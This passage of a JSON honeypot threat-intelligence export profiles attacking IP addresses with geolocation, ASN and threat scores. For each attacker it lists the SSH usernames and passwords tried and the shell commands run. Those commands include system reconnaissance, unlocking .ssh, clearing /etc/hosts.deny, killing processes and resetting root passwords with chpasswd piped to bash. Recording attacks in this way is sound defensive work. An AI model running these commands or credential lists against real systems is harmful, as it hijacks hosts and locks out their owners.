        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T10:48:25.698000+00:00",
        "last_seen_30d": "2026-04-06T11:34:30.298000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "107.175.213.176": {
      "attack_count": 330,
      "first_seen": "2026-04-08T18:35:38.135Z",
      "last_seen": "2026-04-08T19:15:03.711Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "odoo",
        "consulta",
        "deploy",
        "ftpuser",
        "readarr",
        "shyam",
        "steam",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123qwe!@",
        "1QA2ws3ed",
        "1qaz2wsx!@#",
        "21Vianet",
        "Master123!",
        "P@ssw0rd",
        "Qwertyu12345",
        "Welcome",
        "abcd1234!",
        "admin123!",
        "admin15!",
        "azerty123",
        "frappe!2025",
        "ftpuser01!",
        "hik12345+",
        "odoo12!",
        "passw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"odoo12!\\n4psVvRMRrE9G\\n4psVvRMRrE9G\\n\"|passwd",
        "echo \"root:0GpHFqvIIFnx\"|chpasswd|bash",
        "echo \"root:895F9vE3f7IF\"|chpasswd|bash",
        "echo -e \"odoo12!\\n4psVvRMRrE9G\\n4psVvRMRrE9G\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T18:35:38.135000+00:00",
        "last_seen_30d": "2026-04-08T19:16:05.874000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 70
      }
    },
    "118.193.47.155": {
      "attack_count": 285,
      "first_seen": "2026-04-14T12:33:32.507Z",
      "last_seen": "2026-04-14T13:33:01.054Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "345gs5662d34",
        "bot",
        "claude",
        "ftpuser",
        "n8n",
        "nmr",
        "server",
        "steam",
        "test_user",
        "user",
        "webtest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "7777777",
        "A12345689",
        "Aa123654",
        "Bot@",
        "Claude14",
        "Ftpuser01!",
        "N8n0",
        "P@ssw0rd2026",
        "Passw0rd!!",
        "Qazwsx123456@@",
        "Root666$",
        "deploy12345678",
        "frappe17",
        "mohammad",
        "server!",
        "test_user@123",
        "topspin",
        "webtest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy12345678\\nzXIO2QFcvYcT\\nzXIO2QFcvYcT\\n\"|passwd",
        "echo \"root:2CiNuzKAFyIt\"|chpasswd|bash",
        "echo \"root:yASmedLPdM1D\"|chpasswd|bash",
        "echo -e \"deploy12345678\\nzXIO2QFcvYcT\\nzXIO2QFcvYcT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T12:33:32.507000+00:00",
        "last_seen_30d": "2026-04-14T13:34:09.337000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 56
      }
    },
    "40.82.214.8": {
      "attack_count": 268,
      "first_seen": "2026-04-21T19:58:53.123Z",
      "last_seen": "2026-04-21T21:18:28.970Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "integral",
        "adam",
        "admin1234",
        "botuser",
        "dmp",
        "ftptest",
        "ftpuser",
        "postgres",
        "satis",
        "server",
        "sky",
        "teamspeak",
        "test",
        "test0",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0",
        "123456789",
        "1234567890",
        "123456abc!",
        "159753",
        "Admin*2025",
        "Frappe24!",
        "Password",
        "Qazwsx12345..",
        "Qazwsx123456..",
        "Qwertyuio123456",
        "Root@123!",
        "Server09!",
        "Test!123",
        "Vpn#",
        "ZAQ!2wsx2023@@",
        "a123456789012",
        "adam"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Frappe24!\\nOjWucE7ikneu\\nOjWucE7ikneu\\n\"|passwd",
        "echo \"integral\\nW4kC9h5Btr4x\\nW4kC9h5Btr4x\\n\"|passwd",
        "echo -e \"Frappe24!\\nOjWucE7ikneu\\nOjWucE7ikneu\"|passwd|bash",
        "echo -e \"integral\\nW4kC9h5Btr4x\\nW4kC9h5Btr4x\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:58:53.123000+00:00",
        "last_seen_30d": "2026-04-21T21:19:33.884000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 67
      }
    },
    "103.191.92.65": {
      "attack_count": 263,
      "first_seen": "2026-04-13T09:17:54.740Z",
      "last_seen": "2026-04-13T10:03:31.708Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "free",
        "postgres",
        "user1",
        "ali",
        "bot",
        "httpd",
        "leo",
        "mohamed",
        "proxyuser1",
        "sammy",
        "server",
        "steam1",
        "testssh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00000000",
        "1111",
        "1234",
        "123456",
        "12345678",
        "1Password@",
        "2026@",
        "Abc123...",
        "Qazwsx8888!@#",
        "Qq101010",
        "Qwerty#",
        "SERVER",
        "ZAQ!2wsx4321@123",
        "asd@123",
        "bot2026!",
        "free",
        "gj123456",
        "httpd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n1dQ4LBQU8UiI\\n1dQ4LBQU8UiI\\n\"|passwd",
        "echo \"free\\nz5N3zi7VIj36\\nz5N3zi7VIj36\\n\"|passwd",
        "echo -e \"12345678\\n1dQ4LBQU8UiI\\n1dQ4LBQU8UiI\"|passwd|bash",
        "echo -e \"free\\nz5N3zi7VIj36\\nz5N3zi7VIj36\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T09:17:54.740000+00:00",
        "last_seen_30d": "2026-04-13T10:04:41.489000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "165.154.6.34": {
      "attack_count": 263,
      "first_seen": "2026-04-11T12:02:51.230Z",
      "last_seen": "2026-04-11T12:44:13.216Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ct",
        "newftpuser",
        "user",
        "admin",
        "deploy",
        "dev",
        "fiuser",
        "postgres",
        "sammy",
        "student",
        "teamspeak",
        "test",
        "testuser1",
        "ts3user",
        "user2",
        "user5"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w#E4r",
        "1",
        "1234_ASDF",
        "1qazxsw2!QAZXSW@",
        "999999",
        "Aa123321!",
        "Dev$",
        "Postgres4",
        "Qq123123",
        "QwertyQwerty123456",
        "admin2",
        "ct",
        "fiuser",
        "frappe18",
        "passw0rd",
        "root11111111@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nqjBjFfhfPW6U\\nqjBjFfhfPW6U\\n\"|passwd",
        "echo \"ct\\n3oXvPonclaR6\\n3oXvPonclaR6\\n\"|passwd",
        "echo -e \"1\\nqjBjFfhfPW6U\\nqjBjFfhfPW6U\"|passwd|bash",
        "echo -e \"ct\\n3oXvPonclaR6\\n3oXvPonclaR6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:02:51.230000+00:00",
        "last_seen_30d": "2026-04-11T12:45:19.502000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "87.106.44.172": {
      "attack_count": 242,
      "first_seen": "2026-04-26T09:51:01.290Z",
      "last_seen": "2026-04-29T08:48:28.483Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "postgres",
        "server",
        "345gs5662d34",
        "logadmin",
        "root",
        "test",
        "admin1",
        "adminpass",
        "csserver",
        "deploy",
        "ec2-user",
        "etluser",
        "ftpuser001",
        "nextcloud",
        "oracle",
        "sambauser",
        "sftp",
        "tester"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "111111",
        "11111111",
        "123",
        "123&123",
        "12345",
        "123456",
        "123456789",
        "123QWEasd",
        "123root123",
        "1q2w3e4r5t",
        "Server15",
        "admin1234567",
        "admin@01",
        "admin@123",
        "adminpass",
        "calvin",
        "csserver123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"logadmin\\nFxDVZh1RrkfX\\nFxDVZh1RrkfX\\n\"|passwd",
        "echo -e \"logadmin\\nFxDVZh1RrkfX\\nFxDVZh1RrkfX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T09:51:01.290000+00:00",
        "last_seen_30d": "2026-04-29T08:49:36.644000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 77
      }
    },
    "103.226.138.52": {
      "attack_count": 236,
      "first_seen": "2026-04-02T20:31:31.252Z",
      "last_seen": "2026-04-02T21:46:42.904Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345a",
        "1422",
        "1qazcde3!@#",
        "Digital2025",
        "Founder@2026",
        "Ok123123",
        "P@55w0rd@2025",
        "Passw0rd321",
        "Qwertyui123",
        "Test2025",
        "Yj123456",
        "adminuser",
        "k23.cn!@#",
        "mylove",
        "p@55wOrd",
        "roberto123",
        "s1ptest",
        "serena"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:eXFJgqx2rwYJ\"|chpasswd|bash",
        "echo \"root:hQ1H5wNiCLFd\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:31:31.252000+00:00",
        "last_seen_30d": "2026-04-02T21:47:45.163000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "5.59.182.52": {
      "attack_count": 236,
      "first_seen": "2026-04-28T14:02:12.425Z",
      "last_seen": "2026-04-28T14:45:04.763Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rs1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678a",
        "123qweasdf123",
        "54321:",
        "Daniel",
        "Dev@123",
        "ZTzw@20fw21@WSX",
        "bjcm@2026",
        "gpuadmin123",
        "idcez@2026",
        "p@ssw0rd2024",
        "pactera@2026",
        "password8",
        "redbaron",
        "root123",
        "root@abc",
        "shihming",
        "vkdlsemrnt",
        "wsx12345678"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8Xbcrnk6o9mY\"|chpasswd|bash",
        "echo \"root:xeTePzOPBvV5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Droitwich",
      "asn": 212109,
      "as_org": "Squirrel Internet Ltd",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T14:02:12.425000+00:00",
        "last_seen_30d": "2026-04-28T14:46:11.610000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "20.123.146.92": {
      "attack_count": 202,
      "first_seen": "2026-04-04T07:33:43.859Z",
      "last_seen": "2026-04-29T10:44:31.340Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "postgres",
        "root",
        "ubuntu",
        "dockeradmin",
        "ftpuser",
        "server",
        "steam",
        "www"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123456",
        "123456!!",
        "666",
        "Password",
        "QWERTY123456",
        "Server30!",
        "pass123456",
        "passw0rd",
        "postgres30!",
        "qazwsx54321@@",
        "redhat",
        "sakura",
        "steam@2026",
        "test1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pass123456\\nuawYWqJAXxBS\\nuawYWqJAXxBS\\n\"|passwd",
        "echo \"root:noPVE1oAbW4t\"|chpasswd|bash",
        "echo -e \"pass123456\\nuawYWqJAXxBS\\nuawYWqJAXxBS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:33:43.859000+00:00",
        "last_seen_30d": "2026-04-29T10:45:39.222000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 45
      }
    },
    "43.230.107.169": {
      "attack_count": 200,
      "first_seen": "2026-04-22T03:50:36.316Z",
      "last_seen": "2026-04-22T03:56:38.648Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T03:50:36.316000+00:00",
        "last_seen_30d": "2026-04-22T03:57:40.426000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 101
      }
    },
    "122.177.246.97": {
      "attack_count": 199,
      "first_seen": "2026-04-24T05:02:06.050Z",
      "last_seen": "2026-04-24T06:39:38.192Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "sam",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "ansadmin",
        "astra",
        "azureuser",
        "dev",
        "oracle",
        "sammy",
        "sftpuser",
        "user",
        "user4",
        "userbot"
      ],
      "passwords_attempted": [
        "123",
        "123123",
        "123456",
        "1234567890qwertyuiop",
        "123456789q",
        "1234QWer",
        "1Q2w3e4r5t!",
        "1a2s3d",
        "3245gs5662d34",
        "345gs5662d34",
        "778899",
        "Aa112211.",
        "Admin123@@",
        "Ali24",
        "Dev17!",
        "Qwe!12345",
        "a1234567899876543210a",
        "adminadmin",
        "as",
        "astra"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123123\\nqOG0wjnWEc5W\\nqOG0wjnWEc5W\\n\"|passwd",
        "echo -e \"123123\\nqOG0wjnWEc5W\\nqOG0wjnWEc5W\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
